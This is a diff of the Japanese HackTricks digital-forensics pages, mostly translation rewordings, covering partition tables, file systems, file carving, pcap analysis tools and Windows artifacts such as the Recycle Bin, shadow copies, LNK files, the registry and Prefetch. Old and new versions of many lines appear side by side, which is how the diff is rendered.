- [Red Canary 永続性のためのパッチ: DripDropper Linuxマルウェアがクラウドを通じて移動する方法](https://redcanary.com/blog/threat-intelligence/dripdropper-linux-malware/)
- [Red Canary Patching for persistence: How DripDropper Linux malware moves through the cloud](https://redcanary.com/blog/threat-intelligence/dripdropper-linux-malware/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,12 +4,12 @@
## パーティション
ハードドライブまたは**SSDディスクは、データを物理的に分離するために異なるパーティションを含むことができます**。\
ディスクの**最小**単位は**セクター**通常は512Bで構成され)です。したがって、各パーティションのサイズはそのサイズの倍数である必要があります。
ハードドライブまたは**SSDディスクは、データを物理的に分離する目的で異なるパーティションを含むことができます**。\
ディスクの**最小**単位は**セクター**通常は512Bで構成されています)です。したがって、各パーティションのサイズはそのサイズの倍数である必要があります。
### MBRマスターブートレコード
これは**ブートコードの446Bの後のディスクの最初のセクターに割り当てられています**。このセクターは、PCにパーティションをどのように、どこからマウントするかを示すために重要です。\
これは**ブートコードの446Bの後のディスクの最初のセクターに割り当てられています**。このセクターは、PCにどのパーティションをどこからマウントするかを示すために不可欠です。\
最大で**4つのパーティション**を許可します(**アクティブ/ブート可能**なのは最大で**1つ**のみ)。ただし、より多くのパーティションが必要な場合は、**拡張パーティション**を使用できます。この最初のセクターの**最終バイト**はブートレコード署名**0x55AA**です。アクティブとしてマークできるパーティションは1つだけです。\
MBRは**最大2.2TB**を許可します。
@ -38,18 +38,18 @@ MBRの**バイト440から443**の間には**Windowsディスク署名**が見
| ------------ | -------- | ---------------------------------------------------------- |
| 0 (0x00) | 1 (0x01) | アクティブフラグ (0x80 = ブート可能) |
| 1 (0x01) | 1 (0x01) | 開始ヘッド |
| 2 (0x02) | 1 (0x01) | 開始セクタービット0-5シリンダの上位ビット6-7 |
| 2 (0x02) | 1 (0x01) | 開始セクター (ビット0-5); シリンダの上位ビット (6-7) |
| 3 (0x03) | 1 (0x01) | 開始シリンダの最下位8ビット |
| 4 (0x04) | 1 (0x01) | パーティションタイプコード (0x83 = Linux) |
| 5 (0x05) | 1 (0x01) | 終了ヘッド |
| 6 (0x06) | 1 (0x01) | 終了セクタービット0-5シリンダの上位ビット6-7 |
| 6 (0x06) | 1 (0x01) | 終了セクター (ビット0-5); シリンダの上位ビット (6-7) |
| 7 (0x07) | 1 (0x01) | 終了シリンダの最下位8ビット |
| 8 (0x08) | 4 (0x04) | パーティション前のセクター(リトルエンディアン) |
| 8 (0x08) | 4 (0x04) | パーティション前のセクター (リトルエンディアン) |
| 12 (0x0C) | 4 (0x04) | パーティション内のセクター |
LinuxでMBRをマウントするには、最初に開始オフセットを取得する必要があります(`fdisk``p`コマンドを使用できます)
LinuxでMBRをマウントするには、まず開始オフセットを取得する必要があります(`fdisk``p`コマンドを使用できます)
![](<../../../images/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
![](<../../../images/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
その後、次のコードを使用します。
```bash
@ -98,26 +98,26 @@ GUIDパーティションテーブル、通称GPTは、MBRマスターブー
| 0 (0x00) | 8バイト | シグネチャ ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h または 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#_note-8)リトルエンディアンマシン上) |
| 8 (0x08) | 4バイト | バージョン 1.0 (00h 00h 01h 00h) for UEFI 2.8 |
| 12 (0x0C) | 4バイト | ヘッダーサイズリトルエンディアン、バイト単位、通常は5Ch 00h 00h 00hまたは92バイト |
| 16 (0x10) | 4バイト | ヘッダーの[CRC32](https://en.wikipedia.org/wiki/CRC32)(オフセット +0 からヘッダーサイズまで)リトルエンディアンで、このフィールドは計算中にゼロにされます |
| 20 (0x14) | 4バイト | 予約; ゼロでなければなりません |
| 16 (0x10) | 4バイト | ヘッダーの[CRC32](https://en.wikipedia.org/wiki/CRC32)(オフセット +0からヘッダーサイズまでリトルエンディアンで、このフィールドは計算中にゼロに設定されます |
| 20 (0x14) | 4バイト | 予約; ゼロでなければならない |
| 24 (0x18) | 8バイト | 現在のLBAこのヘッダーコピーの位置 |
| 32 (0x20) | 8バイト | バックアップLBA他のヘッダーコピーの位置 |
| 40 (0x28) | 8バイト | パーティションのための最初の使用可能LBAプライマリパーティションテーブルの最後のLBA + 1 |
| 48 (0x30) | 8バイト | 最後の使用可能LBAセカンダリパーティションテーブルの最初のLBA 1 |
| 56 (0x38) | 16バイト | ディスクGUIDミックスエンディアン) |
| 56 (0x38) | 16バイト | ディスクGUID混合エンディアン) |
| 72 (0x48) | 8バイト | パーティションエントリの配列の開始LBA常にプライマリコピーで2 |
| 80 (0x50) | 4バイト | 配列内のパーティションエントリの数 |
| 84 (0x54) | 4バイト | 単一のパーティションエントリのサイズ通常は80hまたは128 |
| 88 (0x58) | 4バイト | リトルエンディアンのパーティションエントリ配列のCRC32 |
| 92 (0x5C) | \* | 予約; ブロックの残りの部分はゼロでなければなりません512バイトのセクターサイズの場合420バイト; ただし、より大きなセクターサイズではより多くなる可能性があります) |
| 88 (0x58) | 4バイト | パーティションエントリ配列のリトルエンディアンでのCRC32 |
| 92 (0x5C) | \* | 予約; ブロックの残りの部分はゼロでなければならない512バイトのセクターサイズの場合420バイト; ただし、より大きなセクターサイズではより多くなる可能性があります) |
**パーティションエントリ (LBA 233)**
| GUIDパーティションエントリフォーマット | | |
| GUIDパーティションエントリ形式 | | |
| --------------------------- | -------- | ------------------------------------------------------------------------------------------------------------- |
| オフセット | 長さ | 内容 |
| 0 (0x00) | 16バイト | [パーティションタイプGUID](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs)ミックスエンディアン) |
| 16 (0x10) | 16バイト | 一意のパーティションGUIDミックスエンディアン) |
| 0 (0x00) | 16バイト | [パーティションタイプGUID](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs)混合エンディアン) |
| 16 (0x10) | 16バイト | 一意のパーティションGUID混合エンディアン) |
| 32 (0x20) | 8バイト | 最初のLBA[リトルエンディアン](https://en.wikipedia.org/wiki/Little_endian) |
| 40 (0x28) | 8バイト | 最後のLBA含む、通常は奇数 |
| 48 (0x30) | 8バイト | 属性フラグビット60は読み取り専用を示す |
@ -157,7 +157,7 @@ GUIDパーティションテーブル、通称GPTは、MBRマスターブー
- **FAT16**は、16ビットアドレスに拡張され、最大65,517クラスターを収容します。
- **FAT32**は、32ビットアドレスでさらに進化し、ボリュームごとに驚異的な268,435,456クラスターを許可します。
FATバージョン全体に共通する重要な制限は、**最大ファイルサイズ4GB**であり、これはファイルサイズストレージに使用される32ビットフィールドによって課せられています。
FATバージョン全体に共通する重要な制限は、**4GBの最大ファイルサイズ**であり、これはファイルサイズストレージに使用される32ビットフィールドによって課せられています。
特にFAT12およびFAT16のルートディレクトリの主要なコンポーネントには以下が含まれます
@ -191,7 +191,7 @@ FATバージョン全体に共通する重要な制限は、**最大ファイル
前述のように、ファイルが「削除」された後でも、ファイルがまだ保存されている場所がいくつかあります。これは、通常、ファイルシステムからファイルを削除することは単に削除されたとマークするだけで、データは触れられないためです。したがって、ファイルのレジストリMFTのようなを検査し、削除されたファイルを見つけることが可能です。
また、OSは通常、ファイルシステムの変更やバックアップに関する多くの情報を保存しているため、それらを使用してファイルまたはできるだけ多くの情報を回復しようとすることが可能です。
また、OSは通常、ファイルシステムの変更やバックアップに関する多くの情報を保存しているため、それらを使用してファイルを回復するか、できるだけ多くの情報を回収することが可能です。
{{#ref}}
file-data-carving-recovery-tools.md
@ -199,17 +199,17 @@ file-data-carving-recovery-tools.md
### **ファイルカービング**
**ファイルカービング**は、**データの塊の中からファイルを見つけようとする技術**です。このようなツールが機能する主な方法は3つあります**ファイルタイプのヘッダーとフッターに基づく**、ファイルタイプの**構造に基づく**、および**コンテンツ**自体に基づくものです
**ファイルカービング**は、**データの塊の中からファイルを見つけようとする技術**です。このようなツールが機能する主な方法は3つあります**ファイルタイプのヘッダーとフッターに基づく**、ファイルタイプの**構造に基づく**、および**コンテンツ自体に基づく**
この技術は**断片化されたファイルを回収するためには機能しない**ことに注意してください。ファイルが**連続したセクターに保存されていない**場合、この技術はそれを見つけることができないか、少なくともその一部を見つけることができません。
ファイルカービングのために、検索したいファイルタイプを指定するいくつかのツールがあります。
ファイルカービングに使用できるツールはいくつかあり、検索したいファイルタイプを指定できます。
{{#ref}}
file-data-carving-recovery-tools.md
{{#endref}}
### データストリーム**C**arving
### データストリーム **C**arving
データストリームカービングはファイルカービングに似ていますが、**完全なファイルを探すのではなく、興味深い情報の断片を探します**。\
例えば、ログされたURLを含む完全なファイルを探すのではなく、この技術はURLを検索します。
@ -220,8 +220,8 @@ file-data-carving-recovery-tools.md
### セキュア削除
明らかに、ファイルやそログの一部を**「安全に」削除する**方法があります。例えば、ファイルの内容をジャンクデータで数回上書きし、その後**$MFT**や**$LOGFILE**からファイルに関する**ログ****削除**し、**ボリュームシャドウコピー****削除**することが可能です。\
このアクションを実行しても、**ファイルの存在がまだログされている他の部分があるかもしれない**ことに気付くかもしれませんそれは真実であり、フォレンジック専門家の仕事の一部はそれらを見つけることです。
明らかに、ファイルやそれに関するログの一部を**「安全に」削除する**方法があります。例えば、ファイルの内容をジャンクデータで何度も上書きし、その後**$MFT**や**$LOGFILE**からファイルに関する**ログを削除**し、**ボリュームシャドウコピーを削除**することが可能です。\
この操作を行っても、**ファイルの存在がまだログされている他の部分があるかもしれない**ことに気付くかもしれませんが、それは真実であり、フォレンジック専門家の仕事の一部はそれらを見つけることです。
## 参考文献

View File

@ -2,15 +2,15 @@
{{#include ../../../banners/hacktricks-training.md}}
> [!NOTE]
> [!TIP]
> **PCAP**と**PCAPNG**についての注意: PCAPファイル形式には2つのバージョンがあり、**PCAPNGは新しく、すべてのツールでサポートされているわけではありません**。他のツールで作業するために、Wiresharkや他の互換性のあるツールを使用してPCAPNGからPCAPにファイルを変換する必要があるかもしれません。
## Online tools for pcaps
- pcapのヘッダーが**壊れている**場合、次のリンクを使用して**修正**を試みるべきです: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php)
- あなたのpcapのヘッダーが**壊れている**場合、次のリンクを使用して**修正**を試みるべきです: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php)
- [**PacketTotal**](https://packettotal.com)でpcap内の**情報**を抽出し、**マルウェア**を検索します。
- [**www.virustotal.com**](https://www.virustotal.com)および[**www.hybrid-analysis.com**](https://www.hybrid-analysis.com)を使用して**悪意のある活動**を検索します。
- [**https://apackets.com/**](https://apackets.com/)で**ブラウザからの完全なpcap分析**。
- [**www.virustotal.com**](https://www.virustotal.com)[**www.hybrid-analysis.com**](https://www.hybrid-analysis.com)を使用して**悪意のある活動**を検索します。
- [**https://apackets.com/**](https://apackets.com/)で**ブラウザからの完全なpcap分析**を行います
## Extract Information
@ -18,22 +18,23 @@
### Wireshark
> [!NOTE]
> **PCAPを分析する場合、基本的にWiresharkの使い方を知っておく必要があります**
> [!TIP]
> **PCAPを分析するつもりなら、基本的にWiresharkの使い方を知っておく必要があります**
Wiresharkのトリックを見つけることができます:
{{#ref}}
wireshark-tricks.md
{{#endref}}
### [**https://apackets.com/**](https://apackets.com/)
ブラウザからのpcap分析。
ブラウザからのPcap分析。
### Xplico Framework
[**Xplico** ](https://github.com/xplico/xplico)_(Linuxのみ)_は**pcap**を**分析**し、そこから情報を抽出できます。たとえば、pcapファイルからXplicoは各メールPOP、IMAP、SMTPプロトコル、すべてのHTTPコンテンツ、各VoIP通話SIP、FTP、TFTPなどを抽出します。
[**Xplico** ](https://github.com/xplico/xplico)_(Linuxのみ)_は**pcap**を**分析**し、そこから情報を抽出することができます。たとえば、pcapファイルからXplicoは各メールPOP、IMAP、SMTPプロトコル、すべてのHTTPコンテンツ、各VoIP通話SIP、FTP、TFTPなどを抽出します。
**Install**
```bash
@ -53,21 +54,21 @@ _**127.0.0.1:9876**_ に _**xplico:xplico**_ の資格情報でアクセスし
### NetworkMiner
Xplicoと同様に、**pcaps**からオブジェクトを**分析して抽出する**ツールです。無料版があり、[**こちらからダウンロード**](https://www.netresec.com/?page=NetworkMiner)できます。**Windows**で動作します。\
このツールは、パケットから**他の情報を分析**して、何が起こっていたのかを**より迅速に**把握するのにも役立ちます。
Xplicoと同様に、**pcapsからオブジェクトを分析および抽出する**ツールです。無料版があり、[**こちらからダウンロード**](https://www.netresec.com/?page=NetworkMiner)できます。**Windows**で動作します。\
このツールは、パケットから**他の情報を分析**するのにも役立ち、**より迅速**に何が起こっているかを把握することができます。
### NetWitness Investigator
[**こちらからNetWitness Investigatorをダウンロード**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware)できます。**(Windowsで動作します)**。\
[**こちらからNetWitness Investigatorをダウンロード**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware)できます**Windowsで動作します**。\
これは、パケットを**分析**し、情報を有用な形で整理して、**内部で何が起こっているかを知る**のに役立つ別の便利なツールです。
### [BruteShark](https://github.com/odedshimon/BruteShark)
- ユーザー名とパスワードを抽出およびエンコード (HTTP, FTP, Telnet, IMAP, SMTP...)
- 認証ハッシュを抽出し、Hashcatを使用してクラックします (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...)
- ビジュアルネットワークダイアグラムを作成 (ネットワークノードとユーザー)
- DNSクエリ抽出
- すべてのTCPおよびUDPセッション再構築
- ユーザー名とパスワードの抽出とエンコードHTTP、FTP、Telnet、IMAP、SMTP...
- 認証ハッシュを抽出し、Hashcatを使用してそれらをクラッキングKerberos、NTLM、CRAM-MD5、HTTP-Digest...
- ビジュアルネットワークダイアグラムの構築(ネットワークノードとユーザー)
- DNSクエリ抽出
- すべてのTCPおよびUDPセッション再構築
- ファイルカービング
### Capinfos
@ -76,7 +77,7 @@ capinfos capture.pcap
```
### Ngrep
pcap内で**何か**を**探している**場合は、**ngrep**を使用できます。以下は主要なフィルターを使用した例です
pcap内で**何か**を**探している**場合は、**ngrep**を使用できます。以下は主要なフィルターを使用した例です:
```bash
ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.168 and src host 192.168"
```
@ -109,12 +110,12 @@ suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log
```
### YaraPcap
[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) は、次のことができるツールです。
[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) は、次の機能を持つツールです。
- PCAPファイルを読み取り、Httpストリームを抽出します。
- gzipは圧縮されたストリームを解凍します。
- すべてのファイルをyaraでスキャンします。
- report.txtを書き込みます。
- report.txtを作成します。
- 一致するファイルをディレクトリに保存するオプションがあります。
### Malware Analysis
@ -129,7 +130,7 @@ suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log
> [Zeek](https://docs.zeek.org/en/master/about.html) は、受動的なオープンソースのネットワークトラフィックアナライザーです。多くのオペレーターは、疑わしいまたは悪意のある活動の調査をサポートするために、ZeekをネットワークセキュリティモニターNSMとして使用しています。Zeekは、セキュリティドメインを超えたパフォーマンス測定やトラブルシューティングを含む、幅広いトラフィック分析タスクもサポートしています。
基本的に、`zeek`によって作成されたログは**pcap**ではありません。したがって、**pcap**に関する**情報**を分析するために**他のツール**を使用する必要があります。
基本的に、`zeek`によって作成されたログは**pcaps**ではありません。したがって、**pcaps**に関する**情報**を分析するために**他のツール**を使用する必要があります。
### Connections Info
```bash
@ -200,14 +201,17 @@ rita show-exploded-dns -H --limit 10 zeek_logs
```
## 他のpcap分析のトリック
{{#ref}}
dnscat-exfiltration.md
{{#endref}}
{{#ref}}
wifi-pcap-analysis.md
{{#endref}}
{{#ref}}
usb-keystrokes.md
{{#endref}}

View File

@ -1,6 +1,8 @@
# 特定のソフトウェア/ファイルタイプのトリック
{{#include ../../../banners/hacktricks-training.md}}
ここでは、特定のファイルタイプソフトウェアに関する興味深いトリックを見つけることができます:
ここでは、特定のファイルタイプおよび/またはソフトウェアに関する興味深いトリックを見つけることができます:
{{#ref}}
.pyc.md

View File

@ -14,25 +14,25 @@
Timeline は、訪問したウェブページ、編集した文書、実行したアプリケーションの **時系列履歴** を提供する Windows の特徴です。
データベースは、パス `\Users\<username>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db` にあります。このデータベースは、SQLite ツールまたはツール [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) を使用して開くことができ、**このツールで生成された 2 つのファイルはツール** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md) **で開くことができます**
データベースは、パス `\Users\<username>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db` にあります。このデータベースは、SQLite ツールまたはツール [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) を使用して開くことができ、**2つのファイルを生成し、それらはツール** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md) **で開くことができます**
### ADS (Alternate Data Streams)
ダウンロードされたファイルには、**ADS Zone.Identifier** が含まれており、**どのように** intranet、internet などから **ダウンロードされたか** を示しています。一部のソフトウェア(ブラウザなど)は、ファイルがダウンロードされた **URL** など、さらに **多くの情報** を提供することがよくあります。
ダウンロードされたファイルには、**ADS Zone.Identifier** が含まれており、**どのように** intranet、internet などから **ダウンロードされたか** を示しています。一部のソフトウェア(ブラウザなど)は、ファイルがダウンロードされた**URL**など、さらに**多くの情報**を提供することがよくあります。
## **File Backups**
### Recycle Bin
Vista/Win7/Win8/Win10 では、**Recycle Bin** はドライブのルートにあるフォルダー **`$Recycle.bin`** にあります(`C:\$Recycle.bin`)。\
このフォルダーでファイルが削除されると、2 つの特定のファイルが作成されます:
このフォルダーでファイルが削除されると、2つの特定のファイルが作成されます
- `$I{id}`: ファイル情報(削除された日時)
- `$R{id}`: ファイルの内容
![](<../../../images/image (1029).png>)
これらのファイルがあれば、ツール [**Rifiuti**](https://github.com/abelcheung/rifiuti2) を使用して削除されたファイルの元のアドレスと削除された日時を取得できますVista Win10 には `rifiuti-vista.exe` を使用)。
これらのファイルがあれば、ツール [**Rifiuti**](https://github.com/abelcheung/rifiuti2) を使用して削除されたファイルの元のアドレスと削除日時を取得できますVista Win10 には `rifiuti-vista.exe` を使用)。
```
.\rifiuti-vista.exe C:\Users\student\Desktop\Recycle
```
@ -40,7 +40,7 @@ Vista/Win7/Win8/Win10 では、**Recycle Bin** はドライブのルートにあ
### ボリュームシャドウコピー
シャドウコピーは、Microsoft Windowsに含まれる技術で、コンピュータファイルやボリュームの**バックアップコピー**やスナップショットを作成できます。これらは使用中であっても可能です。
シャドウコピーは、Microsoft Windowsに含まれる技術で、コンピュータファイルやボリュームの**バックアップコピー**やスナップショットを作成できます。これらは使用中であっても作成可能です。
これらのバックアップは通常、ファイルシステムのルートから` \System Volume Information`にあり、名前は以下の画像に示されている**UID**で構成されています。
@ -54,7 +54,7 @@ Vista/Win7/Win8/Win10 では、**Recycle Bin** はドライブのルートにあ
![](<../../../images/image (254).png>)
レジストリ`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS`も、`ボリュームシャドウコピー`に関する構成情報が含まれています。
レジストリ`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS`は、`ボリュームシャドウコピー`に関する構成情報も含まれています。
### Office自動保存ファイル
@ -66,12 +66,12 @@ Officeの自動保存ファイルは次の場所にあります: `C:\Usuarios\\A
### 最近の文書 (LNK)
Windowsは、ユーザーが次の場所で**ファイルを開く、使用する、または作成する**と、これらの**ショートカット**を**自動的に****作成**します:
Windowsは、ユーザーが次の場所で**ファイルを開く、使用する、または作成する**ときに、これらの**ショートカット**を**自動的に****作成**します:
- Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\`
- Office: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\`
フォルダーが作成されると、フォルダーへのリンク、親フォルダー、および祖父フォルダーへのリンクも作成されます。
フォルダーが作成されると、フォルダーへのリンク、親フォルダーへのリンク、および祖父フォルダーへのリンクも作成されます。
これらの自動的に作成されたリンクファイルは、**ファイル**か**フォルダー**か、**MAC** **タイム**、**ボリューム情報**、および**ターゲットファイルのフォルダー**に関する情報を**含んでいます**。この情報は、ファイルが削除された場合にそれらを回復するのに役立ちます。
@ -100,11 +100,11 @@ LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
### ジャンプリスト
これはアプリケーションごとに示される最近のファイルです。各アプリケーションでアクセスできる**アプリケーションによって使用された最近のファイルのリスト**です。これらは**自動的に作成されるか、カスタム**で作成されることがあります。
これはアプリケーションごとに示される最近のファイルです。各アプリケーションでアクセスできる**アプリケーションによって使用された最近のファイルのリスト**です。これらは**自動的に作成されるか、カスタム**で作成されることがあります。
自動的に作成された**ジャンプリスト**は、`C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`に保存されます。ジャンプリストは、最初のIDがアプリケーションのIDである`{id}.autmaticDestinations-ms`という形式で命名されます。
カスタムジャンプリストは、`C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\`に保存され、通常はファイルに**重要な**ことが起こったためにアプリケーションによって作成されます(お気に入りとしてマークされかもしれません)。
カスタムジャンプリストは、`C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\`に保存され、通常はファイルに**重要な**ことが起こったためにアプリケーションによって作成されます(お気に入りとしてマークされているかもしれません)。
任意のジャンプリストの**作成時間**は、**ファイルが最初にアクセスされた時間**を示し、**修正時間は最後にアクセスされた時間**を示します。
@ -144,13 +144,13 @@ USB接続が行われた時刻に関するタイムスタンプを取得する
### USB Detective
[**USBDetective**](https://usbdetective.com)を使用して、画像に接続されたUSBデバイスに関する情報を取得できます。
[**USBDetective**](https://usbdetective.com)、画像に接続されたUSBデバイスに関する情報を取得するために使用できます。
![](<../../../images/image (452).png>)
### プラグアンドプレイのクリーンアップ
「プラグアンドプレイのクリーンアップ」として知られるスケジュールされたタスクは、主に古いドライバーバージョンの削除を目的としています。最新のドライバーパッケージバージョンを保持するという指定された目的に反して、オンラインソースは、過去30日間に非アクティブなドライバーも対象にしていることを示唆しています。したがって、過去30日間に接続されていないリムーバブルデバイスのドライバーは削除される可能性があります。
「プラグアンドプレイのクリーンアップ」として知られるスケジュールされたタスクは、主に古いドライバーバージョンの削除を目的としています。最新のドライバーパッケージバージョンを保持するという指定された目的とは対照的に、オンラインソースは、過去30日間に非アクティブなドライバーも対象にしていることを示唆しています。したがって、過去30日間に接続されていないリムーバブルデバイスのドライバーは削除される可能性があります。
タスクは次のパスにあります:`C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`
@ -164,9 +164,9 @@ USB接続が行われた時刻に関するタイムスタンプを取得する
- **Period ('P1M')**:タスクスケジューラに、定期的な自動メンテナンス中に毎月クリーンアップタスクを開始するよう指示します。
- **Deadline ('P2M')**タスクスケジューラに、タスクが2か月連続で失敗した場合、緊急自動メンテナンス中にタスクを実行するよう指示します。
この構成により、ドライバーの定期的なメンテナンスとクリーンアップが確保され、連続して失敗した場合のタスクの再試行のための規定が設けられています。
この構成により、ドライバーの定期的なメンテナンスとクリーンアップが確保され、連続的な失敗が発生した場合にタスクを再試行するための規定が設けられています。
**詳細については次を確認してください:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html)
**詳細については次を確認してください:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html)
## メール
@ -181,11 +181,11 @@ USB接続が行われた時刻に関するタイムスタンプを取得する
### Windowsメールアプリ
このアプリケーションは、メールをHTMLまたはテキストで保存します。メールは`Users\<username>\AppData\Local\Comms\Unistore\data\3\`内のサブフォルダーにあります。メールは`.dat`拡張子で保存されます。
このアプリケーションは、メールをHTMLまたはテキスト形式で保存します。メールは`\Users\<username>\AppData\Local\Comms\Unistore\data\3\`内のサブフォルダーにあります。メールは`.dat`拡張子で保存されます。
メールの**メタデータ**と**連絡先**は、**EDBデータベース**内にあります:`\Users\<username>\AppData\Local\Comms\UnistoreDB\store.vol`
ファイルの拡張子を`.vol`から`.edb`に変更すると、[ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html)ツールを使用して開くことができます。`Message`テーブル内でメールを見ることができます。
ファイルの拡張子を`.vol`から`.edb`に変更すると、ツール[**ESEDatabaseView**](https://www.nirsoft.net/utils/ese_database_view.html)を使用して開くことができます。`Message`テーブル内でメールを見ることができます。
### Microsoft Outlook
@ -203,7 +203,7 @@ Microsoft Outlookクライアントでは、送信/受信されたすべての
レジストリパス`HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook`は、使用されているファイルを示しています。
PSTファイルは、[**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html)ツールを使用して開くことができます。
PSTファイルは、ツール[**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html)を使用して開くことができます。
![](<../../../images/image (498).png>)
@ -234,7 +234,7 @@ Windowsレジストリは、広範なシステムおよびユーザー活動デ
- `%windir%\System32\Config`は、さまざまな`HKEY_LOCAL_MACHINE`サブキー用です。
- `%UserProfile%{User}\NTUSER.DAT`は、`HKEY_CURRENT_USER`用です。
- Windows Vista以降のバージョンは、`HKEY_LOCAL_MACHINE`レジストリファイルを`%Windir%\System32\Config\RegBack\`にバックアップします。
- Windows Vista以降のバージョンは、`%Windir%\System32\Config\RegBack\`に`HKEY_LOCAL_MACHINE`レジストリファイルのバックアップを保存します。
- さらに、プログラム実行情報は、Windows VistaおよびWindows 2008 Server以降の`%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT`に保存されます。
### ツール
@ -242,9 +242,9 @@ Windowsレジストリは、広範なシステムおよびユーザー活動デ
レジストリファイルを分析するために役立つツールがいくつかあります:
- **レジストリエディタ**Windowsにインストールされています。現在のセッションのWindowsレジストリをナビゲートするためのGUIです。
- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md)レジストリファイルをロードし、GUIでナビゲートすることができます。また、興味深い情報を持つキーをハイライトするブックマークも含まれています。
- [**RegRipper**](https://github.com/keydet89/RegRipper3.0)再び、ロードされたレジストリをナビゲートするためのGUIがあり、ロードされたレジストリ内の興味深い情報をハイライトするプラグインも含まれています。
- [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html)レジストリから重要な情報を抽出できる別のGUIアプリケーションです。
- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md)レジストリファイルをロードし、GUIでナビゲートすることを可能にします。また、興味深い情報を持つキーをハイライトするブックマークも含まれています。
- [**RegRipper**](https://github.com/keydet89/RegRipper3.0)再び、ロードされたレジストリをナビゲートするためのGUIを持ち、ロードされたレジストリ内の興味深い情報をハイライトするプラグインも含まれています。
- [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html):レジストリから重要な情報を抽出することができる別のGUIアプリケーションです。
### 削除された要素の回復
@ -252,16 +252,17 @@ Windowsレジストリは、広範なシステムおよびユーザー活動デ
### 最終書き込み時間
各キー-値には、最後に変更された時間を示す**タイムスタンプ**が含まれています。
各キー-値には、最後に修正された時間を示す**タイムスタンプ**が含まれています。
### SAM
ファイル/ハイブ**SAM**には、システムの**ユーザー、グループ、およびユーザーパスワード**のハッシュが含まれています。
`SAM\Domains\Account\Users`で、ユーザー名、RID、最終ログイン、最終失敗ログオン、ログインカウンター、パスワードポリシー、およびアカウントが作成された時を取得できます。**ハッシュ**を取得するには、ファイル/ハイブ**SYSTEM**も**必要**です。
`SAM\Domains\Account\Users`で、ユーザー名、RID、最終ログイン、最終失敗ログオン、ログインカウンター、パスワードポリシー、およびアカウントが作成された時を取得できます。**ハッシュ**を取得するには、ファイル/ハイブ**SYSTEM**も**必要**です。
### Windowsレジストリの興味深いエントリ
{{#ref}}
interesting-windows-registry-keys.md
{{#endref}}
@ -284,13 +285,13 @@ interesting-windows-registry-keys.md
プリフェッチは、コンピュータがユーザーが**近い将来にアクセスする可能性のあるコンテンツを表示するために必要なリソースを静かに取得する**ことを可能にする技術です。これにより、リソースに迅速にアクセスできます。
Windowsプリフェッチは、**実行されたプログラムのキャッシュを作成**して、より速くロードできるようにします。これらのキャッシュは、`C:\Windows\Prefetch`内に`.pf`ファイルとして作成されます。XP/VISTA/WIN7では128ファイル、Win8/Win10では1024ファイルの制限があります。
Windowsプリフェッチは、**実行されたプログラムのキャッシュを作成**して、より速くロードできるようにします。これらのキャッシュは、次のパス内に`.pf`ファイルとして作成されます:`C:\Windows\Prefetch`。XP/VISTA/WIN7では128ファイル、Win8/Win10では1024ファイルの制限があります。
ファイル名は`{program_name}-{hash}.pf`として作成されますハッシュは実行可能ファイルのパスと引数に基づいています。W10では、これらのファイルは圧縮されています。ファイルの存在は、**プログラムが実行された**ことを示しています。
ファイル`C:\Windows\Prefetch\Layout.ini`には、**プリフェッチされたファイルのフォルダーの名前**が含まれています。このファイルには、**実行回数**、**実行日**、および**プログラムによって開かれたファイル**に関する情報が含まれています。
